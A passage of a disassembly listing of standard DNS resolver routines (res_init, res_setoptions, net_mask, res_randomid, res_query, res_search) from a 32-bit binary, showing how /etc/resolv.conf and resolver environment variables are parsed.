cl mov esp, ebp pop ebp retn sub_804D71C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden res_init proc near ; CODE XREF: init_services_resolv+209p ; init_services_resolv+ACFp ... var_430 = byte ptr -430h var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h var_3FA = byte ptr -3FAh var_3F9 = byte ptr -3F9h var_3F8 = byte ptr -3F8h var_3F6 = byte ptr -3F6h push ebp mov ebp, esp sub esp, 424h push edi push esi push ebx mov [ebp+var_410], 0 mov [ebp+var_414], 0 mov [ebp+var_418], 0 mov [ebp+var_41C], 0 cmp dword_8078544, 0 jnz short loc_804D78B mov dword_8078544, 5 loc_804D78B: ; CODE XREF: res_init+3Bj cmp dword_8078548, 0 jnz short loc_804D79E mov dword_8078548, 4 loc_804D79E: ; CODE XREF: res_init+4Ej test byte ptr dword_807854C, 1 jnz short loc_804D7B1 mov dword_807854C, 2C0h loc_804D7B1: ; CODE XREF: res_init+61j cmp word_8078584, 0 jnz short loc_804D7C6 call res_randomid mov word_8078584, ax loc_804D7C6: ; CODE XREF: res_init+75j mov dword_8078558, 0 mov word ptr dword_8078554, 2 mov word ptr dword_8078554+2, 3500h mov dword_8078550, 1 and byte_80786A8, 0F0h or byte_80786A8, 1 mov dword_80786A4, 0 push offset aLocaldomain ; "LOCALDOMAIN" call secure_getenv mov ebx, eax add esp, 4 test ebx, ebx jz loc_804D8B4 push 0FFh push ebx push offset byte_80785A4 call strncpy inc [ebp+var_414] mov ebx, offset byte_80785A4 mov dword_8078588, offset byte_80785A4 mov edx, offset dword_807858C xor esi, esi add esp, 0Ch cmp byte_80785A4, 0 jz short loc_804D8AB nop loc_804D854: ; CODE XREF: res_init+14Dj cmp edx, offset unk_80785A0 jnb short loc_804D8A1 cmp byte ptr [ebx], 0Ah jz short loc_804D8A1 cmp byte ptr [ebx], 20h jz short loc_804D86B cmp byte ptr [ebx], 9 jnz short loc_804D878 loc_804D86B: ; CODE XREF: res_init+120j mov byte ptr [ebx], 0 mov esi, 1 jmp short loc_804D88D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D878: ; CODE XREF: res_init+125j test esi, esi jz short loc_804D88D mov [edx], ebx add edx, 4 xor esi, esi mov [ebp+var_418], 1 loc_804D88D: ; CODE XREF: res_init+12Fj ; res_init+136j inc ebx cmp byte ptr [ebx], 0 jnz short loc_804D854 jmp short loc_804D8A1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D898: ; CODE XREF: res_init+165j mov al, [ebx] add al, 0F7h cmp al, 1 jbe short loc_804D8AB inc ebx loc_804D8A1: ; CODE XREF: res_init+116j ; res_init+11Bj ... cmp byte ptr [ebx], 0 jz short loc_804D8AB cmp byte ptr [ebx], 20h jnz short loc_804D898 loc_804D8AB: ; CODE XREF: res_init+10Dj ; res_init+15Aj ... mov byte ptr [ebx], 0 mov dword ptr [edx], 0 loc_804D8B4: ; CODE XREF: res_init+D1j push offset aR_0 ; "r" push offset aEtcResolv_conf ; "/etc/resolv.conf" call fopen mov [ebp+var_40C], eax add esp, 8 test eax, eax jz loc_804DDD2 lea ecx, [ebp+var_400] mov [ebp+var_424], ecx loc_804D8E0: ; CODE XREF: res_init+1C6j ; res_init+1CFj ... mov ecx, [ebp+var_40C] push ecx push 400h mov ecx, [ebp+var_424] push ecx call fgets add esp, 0Ch test eax, eax jz loc_804DD98 cmp [ebp+var_400], 3Bh jz short loc_804D8E0 cmp [ebp+var_400], 23h jz short loc_804D8E0 push 6 push offset aDomain ; "domain" mov ecx, [ebp+var_424] push ecx call strncmp add esp, 0Ch test eax, eax jnz loc_804D9C0 cmp [ebp+var_3FA], 20h jz short loc_804D945 cmp [ebp+var_3FA], 9 jnz short loc_804D9C0 loc_804D945: ; CODE XREF: res_init+1F6j cmp [ebp+var_414], 0 jnz short loc_804D8E0 lea ebx, [ebp+var_3FA] cmp [ebp+var_3FA], 20h jz short loc_804D968 cmp [ebp+var_3FA], 9 jnz short loc_804D973 lea esi, [esi] loc_804D968: ; CODE XREF: res_init+217j ; res_init+228j ... inc ebx cmp byte ptr [ebx], 20h jz short loc_804D968 cmp byte ptr [ebx], 9 jz short loc_804D968 loc_804D973: ; CODE XREF: res_init+220j cmp byte ptr [ebx], 0 jz loc_804D8E0 cmp byte ptr [ebx], 0Ah jz loc_804D8E0 push 0FFh push ebx push offset byte_80785A4 call strncpy push offset asc_8067C27 ; " \t\n" push offset byte_80785A4 call strpbrk mov ebx, eax add esp, 14h test ebx, ebx jz short loc_804D9B0 mov byte ptr [ebx], 0 loc_804D9B0: ; CODE XREF: res_init+267j mov [ebp+var_418], 0 jmp loc_804D8E0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D9C0: ; CODE XREF: res_init+1E9j ; res_init+1FFj push 6 push offset aSearch ; "search" mov ecx, [ebp+var_424] push ecx call strncmp add esp, 0Ch test eax, eax jnz loc_804DAD8 cmp [ebp+var_3FA], 20h jz short loc_804D9F4 cmp [ebp+var_3FA], 9 jnz loc_804DAD8 loc_804D9F4: ; CODE XREF: res_init+2A1j cmp [ebp+var_414], 0 jnz loc_804D8E0 lea ebx, [ebp+var_3FA] cmp [ebp+var_3FA], 20h jz short loc_804DA1C cmp [ebp+var_3FA], 9 jnz short loc_804DA27 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804DA1C: ; CODE XREF: res_init+2CAj ; res_init+2DCj ... inc ebx cmp byte ptr [ebx], 20h jz short loc_804DA1C cmp byte ptr [ebx], 9 jz short loc_804DA1C loc_804DA27: ; CODE XREF: res_init+2D3j cmp byte ptr [ebx], 0 jz loc_804D8E0 cmp byte ptr [ebx], 0Ah jz loc_804D8E0 push 0FFh push ebx push offset byte_80785A4 call strncpy push 0Ah push offset byte_80785A4 call strchr mov ebx, eax add esp, 14h test ebx, ebx jz short loc_804DA61 mov byte ptr [ebx], 0 loc_804DA61: ; CODE XREF: res_init+318j mov ebx, offset byte_80785A4 mov dword_8078588, offset byte_80785A4 mov edx, offset dword_807858C xor esi, esi cmp byte_80785A4, 0 jz short loc_804DAC0 loc_804DA80: ; CODE XREF: res_init+367j cmp edx, offset unk_80785A0 jnb short loc_804DAB6 cmp byte ptr [ebx], 20h jz short loc_804DA92 cmp byte ptr [ebx], 9 jnz short loc_804DA9C loc_804DA92: ; CODE XREF: res_init+347j mov byte ptr [ebx], 0 mov esi, 1 jmp short loc_804DAA7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DA9C: ; CODE XREF: res_init+34Cj test esi, esi jz short loc_804DAA7 mov [edx], ebx add edx, 4 xor esi, esi loc_804DAA7: ; CODE XREF: res_init+356j ; res_init+35Aj inc ebx cmp byte ptr [ebx], 0 jnz short loc_804DA80 jmp short loc_804DAB6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804DAB0: ; CODE XREF: res_init+37Aj cmp byte ptr [ebx], 9 jz short loc_804DAC0 inc ebx loc_804DAB6: ; CODE XREF: res_init+342j ; res_init+369j cmp byte ptr [ebx], 0 jz short loc_804DAC0 cmp byte ptr [ebx], 20h jnz short loc_804DAB0 loc_804DAC0: ; CODE XREF: res_init+33Aj ; res_init+36Fj ... mov byte ptr [ebx], 0 mov dword ptr [edx], 0 mov [ebp+var_418], 1 jmp loc_804D8E0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DAD8: ; CODE XREF: res_init+294j ; res_init+2AAj push 0Ah push offset aNameserver ; "nameserver" mov ecx, [ebp+var_424] push ecx call strncmp add esp, 0Ch test eax, eax jnz loc_804DB9C cmp [ebp+var_3F6], 20h jz short loc_804DB0C cmp [ebp+var_3F6], 9 jnz loc_804DB9C loc_804DB0C: ; CODE XREF: res_init+3B9j cmp [ebp+var_410], 2 jg loc_804DB9C lea ebx, [ebp+var_3F6] cmp [ebp+var_3F6], 20h jz short loc_804DB34 cmp [ebp+var_3F6], 9 jnz short loc_804DB3F db 8Dh,76h,0 ; lea esi, [esi+0] loc_804DB34: ; CODE XREF: res_init+3E2j ; res_init+3F4j ... inc ebx cmp byte ptr [ebx], 20h jz short loc_804DB34 cmp byte ptr [ebx], 9 jz short loc_804DB34 loc_804DB3F: ; CODE XREF: res_init+3EBj cmp byte ptr [ebx], 0 jz loc_804D8E0 cmp byte ptr [ebx], 0Ah jz loc_804D8E0 lea eax, [ebp+var_404] push eax push ebx call inet_aton add esp, 8 test eax, eax jz loc_804D8E0 mov edx, [ebp+var_410] shl edx, 4 mov eax, [ebp+var_404] mov dword_8078558[edx], eax mov word ptr dword_8078554[edx], 2 mov word ptr (dword_8078554+2)[edx], 3500h inc [ebp+var_410] jmp loc_804D8E0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804DB9C: ; CODE XREF: res_init+3ACj ; res_init+3C2j ... push 8 push offset aSortlist ; "sortlist" mov ecx, [ebp+var_424] push ecx call strncmp add esp, 0Ch test eax, eax jnz loc_804DD48 cmp [ebp+var_3F8], 20h jz short loc_804DBD0 cmp [ebp+var_3F8], 9 jnz loc_804DD48 loc_804DBD0: ; CODE XREF: res_init+47Dj lea ebx, [ebp+var_3F8] cmp [ebp+var_41C], 9 jg loc_804D8E0 mov ecx, [ebp+var_41C] lea edi, ds:0[ecx*8] jmp short loc_804DBF5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DBF4: ; CODE XREF: res_init+4B4j ; res_init+4B9j inc ebx loc_804DBF5: ; CODE XREF: res_init+4ACj ; res_init+5F9j cmp byte ptr [ebx], 20h jz short loc_804DBF4 cmp byte ptr [ebx], 9 jz short loc_804DBF4 cmp byte ptr [ebx], 0 jz loc_804D8E0 cmp byte ptr [ebx], 0Ah jz loc_804D8E0 cmp byte ptr [ebx], 3Bh jz loc_804D8E0 mov [ebp+var_420], ebx cmp byte ptr [ebx], 0 jz short loc_804DC5C db 8Dh,76h,0 ; lea esi, [esi+0] loc_804DC28: ; CODE XREF: res_init+516j movzx eax, byte ptr [ebx] push eax push offset asc_8067BFE ; "/&" call strchr add esp, 8 test eax, eax jnz short loc_804DC5C cmp byte ptr [ebx], 3Bh jz short loc_804DC5C cmp byte ptr [ebx], 0 jl short loc_804DC5C movzx edx, byte ptr [ebx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jnz short loc_804DC5C inc ebx cmp byte ptr [ebx], 0 jnz short loc_804DC28 loc_804DC5C: ; CODE XREF: res_init+4DFj ; res_init+4F7j ... movzx esi, byte ptr [ebx] mov byte ptr [ebx], 0 lea eax, [ebp+var_408] push eax mov ecx, [ebp+var_420] push ecx call inet_aton add esp, 8 test eax, eax jz loc_804DD32 mov eax, [ebp+var_408] mov dword ptr unk_80786AC[edi], eax push esi push offset asc_8067BFE ; "/&" call strchr add esp, 8 test eax, eax jz short loc_804DD14 mov ecx, esi mov al, cl mov [ebx], al inc ebx mov [ebp+var_420], ebx cmp byte ptr [ebx], 0 jz short loc_804DCE6 cmp byte ptr [ebx], 3Bh jz short loc_804DCE6 cmp byte ptr [ebx], 0 jl short loc_804DCE6 movzx eax, byte ptr [ebx] mov edx, dword_8078FA0 test byte ptr [edx+eax*2+1], 20h jnz short loc_804DCE6 lea esi, [esi] loc_804DCCC: ; CODE XREF: res_init+5A0j inc ebx cmp byte ptr [ebx], 0 jz short loc_804DCE6 cmp byte ptr [ebx], 3Bh jz short loc_804DCE6 cmp byte ptr [ebx], 0 jl short loc_804DCE6 movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804DCCC loc_804DCE6: ; CODE XREF: res_init+56Aj ; res_init+56Fj ... movzx esi, byte ptr [ebx] mov byte ptr [ebx], 0 lea eax, [ebp+var_408] push eax mov ecx, [ebp+var_420] push ecx call inet_aton add esp, 8 test eax, eax jz short loc_804DD14 mov eax, [ebp+var_408] mov dword ptr unk_80786B0[edi], eax jmp short loc_804DD29 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DD14: ; CODE XREF: res_init+558j ; res_init+5C0j mov eax, dword ptr unk_80786AC[edi] push eax call net_mask mov dword ptr unk_80786B0[edi], eax add esp, 4 loc_804DD29: ; CODE XREF: res_init+5CEj add edi, 8 inc [ebp+var_41C] loc_804DD32: ; CODE XREF: res_init+536j mov ecx, esi mov [ebx], cl cmp [ebp+var_41C], 9 jle loc_804DBF5 jmp loc_804D8E0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DD48: ; CODE XREF: res_init+470j ; res_init+486j push 7 push offset aOptions ; "options" mov ecx, [ebp+var_424] push ecx call strncmp add esp, 0Ch test eax, eax jnz loc_804D8E0 cmp [ebp+var_3F9], 20h jz short loc_804DD7C cmp [ebp+var_3F9], 9 jnz loc_804D8E0 loc_804DD7C: ; CODE XREF: res_init+629j push offset aConf ; "conf" lea eax, [ebp+var_3F9] push eax call res_setoptions add esp, 8 jmp loc_804D8E0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DD98: ; CODE XREF: res_init+1B9j cmp [ebp+var_410], 1 jle short loc_804DDAD mov ecx, [ebp+var_410] mov dword_8078550, ecx loc_804DDAD: ; CODE XREF: res_init+65Bj mov al, byte ptr [ebp+var_41C] shl al, 4 and byte_80786A8, 0Fh or byte_80786A8, al mov ecx, [ebp+var_40C] push ecx call fclose add esp, 4 loc_804DDD2: ; CODE XREF: res_init+18Aj cmp byte_80785A4, 0 jnz short loc_804DE15 push 0FFh lea ebx, [ebp+var_400] push ebx call gethostname add esp, 8 test eax, eax jnz short loc_804DE15 push 2Eh push ebx call strchr mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804DE15 lea eax, [ebx+1] push eax push offset byte_80785A4 call strcpy add esp, 8 loc_804DE15: ; CODE XREF: res_init+695j ; res_init+6ADj ... cmp [ebp+var_418], 0 jnz short loc_804DE32 mov dword_8078588, offset byte_80785A4 mov dword_807858C, 0 loc_804DE32: ; CODE XREF: res_init+6D8j push offset aRes_options ; "RES_OPTIONS" call secure_getenv mov ebx, eax add esp, 4 test ebx, ebx jz short loc_804DE50 push offset aEnv ; "env" push ebx call res_setoptions loc_804DE50: ; CODE XREF: res_init+6FFj or byte ptr dword_807854C, 1 xor eax, eax lea esp, [ebp+var_430] pop ebx pop esi pop edi mov esp, ebp pop ebp retn res_init endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden res_setoptions proc near ; CODE XREF: res_init+644p ; res_init+707p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, edi test byte ptr dword_807854C, 2 jz loc_804DF60 push esi push ebx push offset aRes_setoptions ; ";; res_setoptions(\"%s\", \"%s\")...\n" call printf add esp, 0Ch jmp loc_804DF60 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804DE98: ; CODE XREF: res_setoptions+34j ; res_setoptions+39j inc ebx loc_804DE99: ; CODE XREF: res_setoptions+FBj cmp byte ptr [ebx], 20h jz short loc_804DE98 cmp byte ptr [ebx], 9 jz short loc_804DE98 push 6 push offset aNdots ; "ndots:" push ebx call strncmp add esp, 0Ch test eax, eax jnz short loc_804DF0C lea eax, [ebx+6] push 0 push 0Ah push 0 push eax call sub_8056064 add esp, 10h cmp eax, 0Fh jg short loc_804DEE0 and al, 0Fh and byte_80786A8, 0F0h or byte_80786A8, al jmp short loc_804DEE7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804DEE0: ; CODE XREF: res_setoptions+64j or byte_80786A8, 0Fh loc_804DEE7: ; CODE XREF: res_setoptions+75j test byte ptr dword_807854C, 2 jz short loc_804DF56 mov al, byte_80786A8 and eax, 0Fh push eax push offset aNdotsD ; ";;\tndots=%d\n" call printf add esp, 8 jmp short loc_804DF56 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DF0C: ; CODE XREF: res_setoptions+4Dj push 5 push offset aDebug ; "debug" push ebx call strncmp add esp, 0Ch test eax, eax jnz short loc_804DF56 test byte ptr dword_807854C, 2 jnz short loc_804DF3F push esi push edi push offset aRes_setoptio_0 ; ";; res_setoptions(\"%s\", \"%s\")..\n" call printf or byte ptr dword_807854C, 2 add esp, 0Ch loc_804DF3F: ; CODE XREF: res_setoptions+BFj push offset aDebug_0 ; ";;\tdebug\n" call printf add esp, 4 jmp short loc_804DF56 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DF50: ; CODE XREF: res_setoptions+F6j cmp byte ptr [ebx], 9 jz short loc_804DF60 inc ebx loc_804DF56: ; CODE XREF: res_setoptions+86j ; res_setoptions+9Fj ... cmp byte ptr [ebx], 0 jz short loc_804DF69 cmp byte ptr [ebx], 20h jnz short loc_804DF50 loc_804DF60: ; CODE XREF: res_setoptions+15j ; res_setoptions+2Aj ... cmp byte ptr [ebx], 0 jnz loc_804DE99 loc_804DF69: ; CODE XREF: res_setoptions+F1j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn res_setoptions endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden net_mask proc near ; CODE XREF: res_init+5D7p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xchg al, ah ror eax, 10h xchg al, ah test eax, eax jl short loc_804DF90 mov eax, 0FFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DF90: ; CODE XREF: net_mask+Fj and eax, 0C0000000h cmp eax, 80000000h jz short loc_804DFA8 mov eax, 0FFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804DFA8: ; CODE XREF: net_mask+26j mov eax, 0FFFFh mov esp, ebp pop ebp retn net_mask endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden res_randomid proc near ; CODE XREF: res_init+77p var_8 = word ptr -8 var_4 = word ptr -4 push ebp mov ebp, esp sub esp, 8 push 0 lea eax, [ebp+var_8] push eax call gettimeofday call getpid mov edx, eax mov ax, [ebp+var_8] xor ax, [ebp+var_4] xor ax, dx and eax, 0FFFFh mov esp, ebp pop ebp retn res_randomid endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804DFE0 proc near ; CODE XREF: gethostbyaddr+CAp ; res_search+A7p ... var_40C = byte ptr -40Ch var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h push edi push esi push ebx mov edi, [ebp+arg_4] mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] and byte ptr [esi+3], 0F0h test byte ptr dword_807854C, 1 jnz short loc_804E020 call res_init cmp eax, 0FFFFFFFFh jnz short loc_804E020 mov ds:dword_807E788, 0FFFFFFFFh loc_804E016: ; CODE XREF: sub_804DFE0+15Aj ; sub_804DFE0+16Aj ... mov eax, 0FFFFFFFFh jmp loc_804E172 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E020: ; CODE XREF: sub_804DFE0+20j ; sub_804DFE0+2Aj test byte ptr dword_807854C, 2 jz short loc_804E03C push ebx push edi mov edx, [ebp+arg_0] push edx push offset aRes_querySDD ; ";; res_query(%s, %d, %d)\n" call printf add esp, 10h loc_804E03C: ; CODE XREF: sub_804DFE0+47j push 400h lea eax, [ebp+var_400] push eax push 0 push 0 push 0 push ebx push edi mov edx, [ebp+arg_0] push edx push 0 call sub_80608C8 mov ebx, eax add esp, 24h test ebx, ebx jg short loc_804E088 test byte ptr dword_807854C, 2 jz short loc_804E077 push offset aRes_queryMkque ; ";; res_query: mkquery failed\n" call printf loc_804E077: ; CODE XREF: sub_804DFE0+8Bj mov ds:dword_807E788, 3 jmp loc_804E170 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E088: ; CODE XREF: sub_804DFE0+82j mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx push ebx lea eax, [ebp+var_400] push eax call sub_804EA0C mov ebx, eax add esp, 10h test ebx, ebx jge short loc_804E0C8 test byte ptr dword_807854C, 2 jz short loc_804E0B9 push offset aRes_querySendE ; ";; res_query: send error\n" call printf loc_804E0B9: ; CODE XREF: sub_804DFE0+CDj mov ds:dword_807E788, 2 jmp loc_804E170 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E0C8: ; CODE XREF: sub_804DFE0+C4j test byte ptr [esi+3], 0Fh jnz short loc_804E0DD mov ax, [esi+6] xchg al, ah test ax, ax jnz loc_804E170 loc_804E0DD: ; CODE XREF: sub_804DFE0+ECj test byte ptr dword_807854C, 2 jz short loc_804E103 mov ax, [esi+6] xchg al, ah and eax, 0FFFFh push eax mov al, [esi+3] and eax, 0Fh push eax push offset aRcodeDAncountD ; ";; rcode = %d, ancount=%d\n" call printf loc_804E103: ; CODE XREF: sub_804DFE0+104j mov al, [esi+3] and eax, 0Fh cmp eax, 5 ; switch 6 cases ja short loc_804E160 ; default jmp ds:off_804E118[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 off_804E118 dd offset loc_804E150, offset loc_804E160, offset loc_804E140 ; DATA XREF: sub_804DFE0+12Er dd offset loc_804E130, 2 dup(offset loc_804E160) ; jump table for switch statement ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E130: ; CODE XREF: sub_804DFE0+12Ej ; DATA XREF: sub_804DFE0+138o mov ds:dword_807E788, 1 ; case 0x3 jmp loc_804E016 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E140: ; CODE XREF: sub_804DFE0+12Ej ; DATA XREF: sub_804DFE0+138o mov ds:dword_807E788, 2 ; case 0x2 jmp loc_804E016 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E150: ; CODE XREF: sub_804DFE0+12Ej ; DATA XREF: sub_804DFE0+138o mov ds:dword_807E788, 4 ; case 0x0 jmp loc_804E016 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E160: ; CODE XREF: sub_804DFE0+12Cj ; sub_804DFE0+12Ej ; DATA XREF: ... mov ds:dword_807E788, 3 ; default jmp loc_804E016 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E170: ; CODE XREF: sub_804DFE0+A1j ; sub_804DFE0+E3j ... mov eax, ebx loc_804E172: ; CODE XREF: sub_804DFE0+3Bj lea esp, [ebp+var_40C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804DFE0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden res_search proc near ; CODE XREF: gethostbyname+144p var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov edi, [ebp+arg_0] mov edx, [ebp+arg_C] mov [ebp+var_4], edx mov [ebp+var_C], 0 mov [ebp+var_10], 0 mov [ebp+var_14], 0 test byte ptr dword_807854C, 1 jnz short loc_804E1CC call res_init cmp eax, 0FFFFFFFFh jnz short loc_804E1CC mov ds:dword_807E788, 0FFFFFFFFh jmp loc_804E388 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E1CC: ; CODE XREF: res_search+2Ej ; res_search+38j mov __errno, 0 mov ds:dword_807E788, 1 xor ebx, ebx mov 